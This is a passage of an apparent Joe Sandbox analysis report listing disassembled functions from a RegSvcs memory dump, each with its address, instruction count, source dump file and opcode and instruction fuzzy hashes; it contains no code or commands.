                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c85ce69736e68b967150348d16a22bb583ee46755e5723e505066f31b72a8962
                                                          • Instruction ID: 0341bacf81d4b1dd5af1bd7cadfabfb4737e7547a67010adc24165f80fbcc23f
                                                          • Opcode Fuzzy Hash: c85ce69736e68b967150348d16a22bb583ee46755e5723e505066f31b72a8962
                                                          • Instruction Fuzzy Hash: C021CB316056869BF322576D8D18F153BD4BB81774F1807A9FA609F7F1D7B8C8028150
                                                          Function 0150A30B Relevance: .1, Instructions: 70COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e8643a9c3c07679be4b3eafb46192ed7d2eb76a228613f511c4b406b6f79fc5f
                                                          • Instruction ID: 123b5ea71a59fc03de53ae0401eb74255477745818545fc3e49b905b5fb77a9d
                                                          • Opcode Fuzzy Hash: e8643a9c3c07679be4b3eafb46192ed7d2eb76a228613f511c4b406b6f79fc5f
                                                          • Instruction Fuzzy Hash: ED21A979200B019FC726DF69C800B96B7F5BF58B08F24846CA549CFB61E331E842CB94
                                                          Function 0158A49A Relevance: .1, Instructions: 70COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 32fa597a7b6368ca4dc233adb1fb9a012bec693c64fcd42f72b37776010f242e
                                                          • Instruction ID: 8d9e3659c7dedf1bedceecb66d56829685d7a2285ac1dd865c014bb906b3c436
                                                          • Opcode Fuzzy Hash: 32fa597a7b6368ca4dc233adb1fb9a012bec693c64fcd42f72b37776010f242e
                                                          • Instruction Fuzzy Hash: 8A11EC72340B127FEB226659AC41F27BAD9FBD5B60F51042AB718EF190EB70DC0187A5
                                                          Function 01550946 Relevance: .1, Instructions: 70COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: eb6284a14b940cd8d51e62f28940829029d9fa182bd54898775c5abfb5d4ab32
                                                          • Instruction ID: f6df67ac246c475c0a1820c0af0246da3b5082db73f5c0c4cc6a69a14cba4100
                                                          • Opcode Fuzzy Hash: eb6284a14b940cd8d51e62f28940829029d9fa182bd54898775c5abfb5d4ab32
                                                          • Instruction Fuzzy Hash: 2D2119B1E00249AFCB50DFAAD8919AEFBF8FF98B00F10012FE405AB254D7709945CB50
                                                          Function 015680A8 Relevance: .1, Instructions: 69COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 5cbf44edbda76f4502fdddb46b30f07fa62677dc347fe83d1d029fa4afc5ea58
                                                          • Instruction ID: d14557a5b207bb10bd41db01ebea8d7c9ca97c43bae9853009bba42de9837658
                                                          • Opcode Fuzzy Hash: 5cbf44edbda76f4502fdddb46b30f07fa62677dc347fe83d1d029fa4afc5ea58
                                                          • Instruction Fuzzy Hash: 25216D72A00209EFDB129F98CC44BAEBBB9FF98310F204859F951AB251D734D9508B90
                                                          Function 01500124 Relevance: .1, Instructions: 68COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
                                                          • Instruction ID: b7e31d27bff6ebf1b88bacc49dc04eba5b10671eb9b16fb978ff3c9b1e766489
                                                          • Opcode Fuzzy Hash: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
                                                          • Instruction Fuzzy Hash: E4119076601606AFE7239B99CC41F9ABBB9FB907A4F104429F6049F1D0D671ED44CB60
                                                          Function 014D8770 Relevance: .1, Instructions: 68COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6113604334145e5fd545d1f42ad93541c19512f9254a9ceb32564aadb294b0c4
                                                          • Instruction ID: 1eff30e7011b2924368b0f98c1bfce8d752b22dadc1f2d6adbe54ecbb4b61fcb
                                                          • Opcode Fuzzy Hash: 6113604334145e5fd545d1f42ad93541c19512f9254a9ceb32564aadb294b0c4
                                                          • Instruction Fuzzy Hash: 6611B2357006129FDF12CF4EC890A67BBE9AF9A710B19406FEE08DF315D6B2D9028790
                                                          Function 0150AAEE Relevance: .1, Instructions: 68COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3b9caaf395a22a4929ed725bdef4f5484843110ef385696de3fd96b14fff4041
                                                          • Instruction ID: c6b6a4bee031fba0e63e5a4bb853c9fc0bea5cda746e95c3ec0dbed3f4e09e6d
                                                          • Opcode Fuzzy Hash: 3b9caaf395a22a4929ed725bdef4f5484843110ef385696de3fd96b14fff4041
                                                          • Instruction Fuzzy Hash: CA216A72600B41DBD7268F9EC544B6ABBE6FB94B50F14897EE5468B660C630EC01CB40
                                                          Function 014D80E9 Relevance: .1, Instructions: 66COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3fafc331aedf7d278c807330d69caa147992e6178870854729f80cdde2faf87e
                                                          • Instruction ID: b48052301297d61db31cbb0e11b8fd07ed64591d7d0d3016b78b3dec60930632
                                                          • Opcode Fuzzy Hash: 3fafc331aedf7d278c807330d69caa147992e6178870854729f80cdde2faf87e
                                                          • Instruction Fuzzy Hash: 16215E75A00206DFCB14CF68C591A7EBBB5FB89318F24416ED105AB365C771AD0ACB90
                                                          Function 0150674D Relevance: .1, Instructions: 65COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f61309f00a90a409aa0e701ef1d0a00e9b2b5685cd6b10c99b28d54492fdcefe
                                                          • Instruction ID: fc6e8d890a78562686a38a12edf66587cca0d5fbc77385e7d929f6b8a44e87f3
                                                          • Opcode Fuzzy Hash: f61309f00a90a409aa0e701ef1d0a00e9b2b5685cd6b10c99b28d54492fdcefe
                                                          • Instruction Fuzzy Hash: 22216075500A01EFD7228FA9C841F66B7F8FF84650F44882DE59ACB290DB70B960CB60
                                                          Function 01566870 Relevance: .1, Instructions: 63COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 03e0b94b675a4fedd05250c862b84a48eb44f0aea48d81de31a836ad2744b4e1
                                                          • Instruction ID: 96df7ee3d2c3f199da4678f57fd405525c43edab5e1c80658d4f7ec38e10b96b
                                                          • Opcode Fuzzy Hash: 03e0b94b675a4fedd05250c862b84a48eb44f0aea48d81de31a836ad2744b4e1
                                                          • Instruction Fuzzy Hash: DB118F32240615AFD722DBAAC940F9A77ECFBA5660F114029F6059F261DB70E901CBE0
                                                          Function 014FE8C0 Relevance: .1, Instructions: 63COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 608fdf04a08ee18ba295d12e2b3ebebaae709ec430f74329adabf6bc9281c30e
                                                          • Instruction ID: bcd7d174d5ccb2f5e243a897bce03d86cec8eb295830870fe130fdf0915095b4
                                                          • Opcode Fuzzy Hash: 608fdf04a08ee18ba295d12e2b3ebebaae709ec430f74329adabf6bc9281c30e
                                                          • Instruction Fuzzy Hash: 8F11E5326041149FCB1ADA69CC85E6B7396EFD5671B25492EDA229F3A0E9309812C3A1
                                                          Function 015066B0 Relevance: .1, Instructions: 61COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8058faab2384f042b7bc61e42812250e5909f62ed1aa49e27be9c081d01bbd73
                                                          • Instruction ID: af2488feeb578fb5f69e80f32c11f7802c50f96bd3fe8f705782afc15b00787f
                                                          • Opcode Fuzzy Hash: 8058faab2384f042b7bc61e42812250e5909f62ed1aa49e27be9c081d01bbd73
                                                          • Instruction Fuzzy Hash: 4011CE76A01615EFCB26CF99C584E5ABBF8BF94650B06407ED9069F350E670DD10CB90
                                                          Function 0159A8E4 Relevance: .1, Instructions: 61COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 4aa21802b203594a0c183a0f29eab8f59a86752156d6c183eb3a1b7e63dba1b2
                                                          • Instruction ID: 9addc143141164678a08b95503dc12a2966e105e15ef744dabf5c1518ca5c496
                                                          • Opcode Fuzzy Hash: 4aa21802b203594a0c183a0f29eab8f59a86752156d6c183eb3a1b7e63dba1b2
                                                          • Instruction Fuzzy Hash: B311E236A0090AAFDF19CB58C805A9DBBF5FF84210F058269E845AB380E671AD01CB90
                                                          Function 014D0AD0 Relevance: .1, Instructions: 61COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 975f93ae0bdd36ad56dc7d48bb40b3373a7fecd11d003270eb178f636a7ee754
                                                          • Instruction ID: d0eb20f3fb894b05a17a9b08e84dff881c0aa9dac4dfc0c1289c3e457086d759
                                                          • Opcode Fuzzy Hash: 975f93ae0bdd36ad56dc7d48bb40b3373a7fecd11d003270eb178f636a7ee754
                                                          • Instruction Fuzzy Hash: 6D2106B5A00B059FD3A0CF29C440B52BBF4FB48B20F10492EE98ACBB50E371E814CB90
                                                          Function 0155E7E1 Relevance: .1, Instructions: 59COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: be7cdff5b472ac4535dea4ef4a70d93a0a3acfb449cd7ab0a5074af29ebfca6c
                                                          • Instruction ID: 0feba1f81f53ee9ee6003bc11f8098289db10fa3daedca3052195a9ca1b6cea4
                                                          • Opcode Fuzzy Hash: be7cdff5b472ac4535dea4ef4a70d93a0a3acfb449cd7ab0a5074af29ebfca6c
                                                          • Instruction Fuzzy Hash: 3911BF32600601EBEB619B49C862B1AFBE6FB52754F05842FED099F160D730DE41C790
                                                          Function 014F27ED Relevance: .1, Instructions: 58COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 79244de8fe70aec806b4689ddd773d1cc49b739d49e2d01eb4a0e709d8856eb4
                                                          • Instruction ID: c712a809e43e2a4df49cf1ed0c4aa09fec5702dd0b99f9ed8dc238bc5fe484a6
                                                          • Opcode Fuzzy Hash: 79244de8fe70aec806b4689ddd773d1cc49b739d49e2d01eb4a0e709d8856eb4
                                                          • Instruction Fuzzy Hash: 0D010431205689AFE316A66ED858F2B6B8CFF90754F0500AAFA40CF3A1DA64DC01C261
                                                          Function 014D4690 Relevance: .1, Instructions: 57COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: deeeb09b2ad4ab4bad4406f5ed34993505b95a2d58bd540f45ab729a1e653c71
                                                          • Instruction ID: 27e5c2db1dabc9459e47c7a47e1b7b7e93c23c9d301c6fe316a9b8a5c86dbd45
                                                          • Opcode Fuzzy Hash: deeeb09b2ad4ab4bad4406f5ed34993505b95a2d58bd540f45ab729a1e653c71
                                                          • Instruction Fuzzy Hash: 1111A076344645AFDF25CF9AD850B577BA4EB96B64F1A411BF9048BBA0C370E840CF60
                                                          Function 015A4B00 Relevance: .1, Instructions: 57COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: afa80fdbaa49ea5c2ed9dc1ee7cf435c333373c243901b9f5d414fe901ce3e7e
                                                          • Instruction ID: bae140456658bbaf939dfe1e77eab2247f3cb186f71df32ccc86687c523a28f7
                                                          • Opcode Fuzzy Hash: afa80fdbaa49ea5c2ed9dc1ee7cf435c333373c243901b9f5d414fe901ce3e7e
                                                          • Instruction Fuzzy Hash: 82110632240605DFDB22DAA9D844F1FF7E5FFC4311F594419E6828B290DA70A802C790
                                                          Function 01506620 Relevance: .1, Instructions: 56COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 1f782379900340e393e6684bb7f658bea6c8064f86279371d1bb127d8db9cfe6
                                                          • Instruction ID: c647558ea298db07f727a73a86307a201b737d327dd452661342d671b0919813
                                                          • Opcode Fuzzy Hash: 1f782379900340e393e6684bb7f658bea6c8064f86279371d1bb127d8db9cfe6
                                                          • Instruction Fuzzy Hash: 3F11AC76A00616ABDB229F9ACD80B5EFBB8FF84641F540459DA01AB240DB30A9118BA0
                                                          Function 014FEA2E Relevance: .1, Instructions: 56COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6ca015a41840e01c8cbb857c77b8e9bff906be50e44de948888fc0bd5be68e13
                                                          • Instruction ID: 8fe0e9f1eb9afd1a63d59032356ab401c876737a27531aa80ffb64f743247fc1
                                                          • Opcode Fuzzy Hash: 6ca015a41840e01c8cbb857c77b8e9bff906be50e44de948888fc0bd5be68e13
                                                          • Instruction Fuzzy Hash: 6A01C0716102099FC725DF59D408F16BBE9FBA1715F22816FE2059B370D770AD4ACB90
                                                          Function 014FE53E Relevance: .1, Instructions: 55COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3cef38ccb94af525019048e13b43edf7cf1492b2ee9bf366ac8f969377c4ca22
                                                          • Instruction ID: 2ca9f16ff085f7374a04fe0a0165275e8106e83fb708021ab0606a2266e4f096
                                                          • Opcode Fuzzy Hash: 3cef38ccb94af525019048e13b43edf7cf1492b2ee9bf366ac8f969377c4ca22
                                                          • Instruction Fuzzy Hash: 5111C6726016C69BE7239B5C8948B2937D4BB80749F1A14E7DE419B7B2F338C843C252
                                                          Function 0155E75D Relevance: .1, Instructions: 54COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 9e027ce95eb4732775abeceb8693466c215af0eeeb981fbb7873360829093128
                                                          • Instruction ID: 41fa8b99454e1cbcb131a08ce18473eff46b978a11992c950a8b80b77c090623
                                                          • Opcode Fuzzy Hash: 9e027ce95eb4732775abeceb8693466c215af0eeeb981fbb7873360829093128
                                                          • Instruction Fuzzy Hash: E3012632610546AFE7615F18C912F5AFAE9FF90750F05842AEE08AF160D771DE40C790
                                                          Function 014CA250 Relevance: .1, Instructions: 52COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3c789e6569c780a36f7740ae573b44e677a8d28900b05b280d318a59104278c5
                                                          • Instruction ID: cfd423c8bf637fb753e191e3022e6a5224b01fe7d5b6e6e5ad486ceb0810a597
                                                          • Opcode Fuzzy Hash: 3c789e6569c780a36f7740ae573b44e677a8d28900b05b280d318a59104278c5
                                                          • Instruction Fuzzy Hash: 1E01043940473A9BDB718F199840A337BA6EF55B64710852EF8958B3A1E331D401CB60
                                                          Function 015A4940 Relevance: .1, Instructions: 52COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a4ebc55569b3b009d4fea8cb719beda3d8a5f6aec6ade1c70b4f490a341c13b0
                                                          • Instruction ID: f061f0f5ca2ad640b8fe3dfd1eec20486cd7fd088003f9373e7f456a81f6c89c
                                                          • Opcode Fuzzy Hash: a4ebc55569b3b009d4fea8cb719beda3d8a5f6aec6ade1c70b4f490a341c13b0
                                                          • Instruction Fuzzy Hash: EA0126324816019FC332DF5CD804E1AB7E8FB91370B694269E9A99F1A2D770DC21C7C0
                                                          Function 0154E1D0 Relevance: .1, Instructions: 51COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e0c9cfced2df0a313a26d8c0bd3bed65c77f87ae0d6ca8716fd82ccf30cc8ca8
                                                          • Instruction ID: c1c6795bf4782d88d5980513bdf480d25399f91c5f6fead8f485881afe3be6f8
                                                          • Opcode Fuzzy Hash: e0c9cfced2df0a313a26d8c0bd3bed65c77f87ae0d6ca8716fd82ccf30cc8ca8
                                                          • Instruction Fuzzy Hash: 9411C432241641EFDB16EF59CD91F16BBB8FF54B44F1400A9F9059F661C235ED01CA90
                                                          Function 014D6259 Relevance: .1, Instructions: 51COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6b256f5b39897d9c2c229ef934ad2998f4849312f1e8ea27a5bdd27e883f9c24
                                                          • Instruction ID: 30a484aff0b2b4024bc184ee98a2da06f320e448f7ac8411b18b30ac82c42304
                                                          • Opcode Fuzzy Hash: 6b256f5b39897d9c2c229ef934ad2998f4849312f1e8ea27a5bdd27e883f9c24
                                                          • Instruction Fuzzy Hash: 0E117C7154122AABEF26EF64CC52FE9B3B4BF44710F6041D5A319AA1E0DB709E85CF84
                                                          Function 01556050 Relevance: .0, Instructions: 50COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e6bac4a361f4b66b8587b7280635ae833264d1754241e809898c11eceafea041
                                                          • Instruction ID: d12d72e2bc093a7d6af358b2f29c32d009b247d179a2c907259db0d2d5d7d7e1
                                                          • Opcode Fuzzy Hash: e6bac4a361f4b66b8587b7280635ae833264d1754241e809898c11eceafea041
                                                          • Instruction Fuzzy Hash: 37111B72900119ABCB12DB94CC94DDFB7BCFF58254F044166A906AB211EA34AA55CBE0
                                                          Function 014D208A Relevance: .0, Instructions: 50COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: cec1b93156338fd1fb8a58b034706470ae4e768dca4fd24834b6fe138f7a55f1
                                                          • Instruction ID: eb1a131638ccfef640679f00252b3d6c884e9e0de1ee61e542e0bfbd5dd61b8b
                                                          • Opcode Fuzzy Hash: cec1b93156338fd1fb8a58b034706470ae4e768dca4fd24834b6fe138f7a55f1
                                                          • Instruction Fuzzy Hash: F801F5736001119BEF128E69D890F5677A6BFD4700F5541ABEE018F266DAB18881C790
                                                          Function 01566500 Relevance: .0, Instructions: 50COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0db6fe498f8a1e92a972dc5702a7965c8a52a895d2e66fde20a925dbd373756b
                                                          • Instruction ID: 1baeb8e766084d1963d5fa45cecd03d30952c933c907fc8eab86666f7bf8cef3
                                                          • Opcode Fuzzy Hash: 0db6fe498f8a1e92a972dc5702a7965c8a52a895d2e66fde20a925dbd373756b
                                                          • Instruction Fuzzy Hash: D511CE326001469FC301CF68C840BA6BBB9BBAA314F488159E8488F325D732E880CBE1
                                                          Function 0155C810 Relevance: .0, Instructions: 50COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 5826db0820ad9186da5d5ce8a17d51ac45f451ca23dc6d2cd7f0623efe475b79
                                                          • Instruction ID: faddf2b2cd564c8b36a61c375dec52cbdda9cca9a6e2f934cf27d7ea9e537263
                                                          • Opcode Fuzzy Hash: 5826db0820ad9186da5d5ce8a17d51ac45f451ca23dc6d2cd7f0623efe475b79
                                                          • Instruction Fuzzy Hash: 171118B1A0020A9FCB00DFA9D545AAEBBF8FF58350F10406AA905EB351D674EA018BA4
                                                          Function 0157EA60 Relevance: .0, Instructions: 50COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7cc5e2f7e4a301896dd003a2cf19df3a55e1ec93e77faa4fbab9abfc074d5b9f
                                                          • Instruction ID: 79d44f52a37bb3260e26319ccff0522c35f2c6c2eff5cd00a765e951f8a53abe
                                                          • Opcode Fuzzy Hash: 7cc5e2f7e4a301896dd003a2cf19df3a55e1ec93e77faa4fbab9abfc074d5b9f
                                                          • Instruction Fuzzy Hash: 2D01B1311403119FC732BE1A954ED6ABBF9FF61651B0588AEE1455F221CBB0DC41CB91
                                                          Function 014CC020 Relevance: .0, Instructions: 49COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
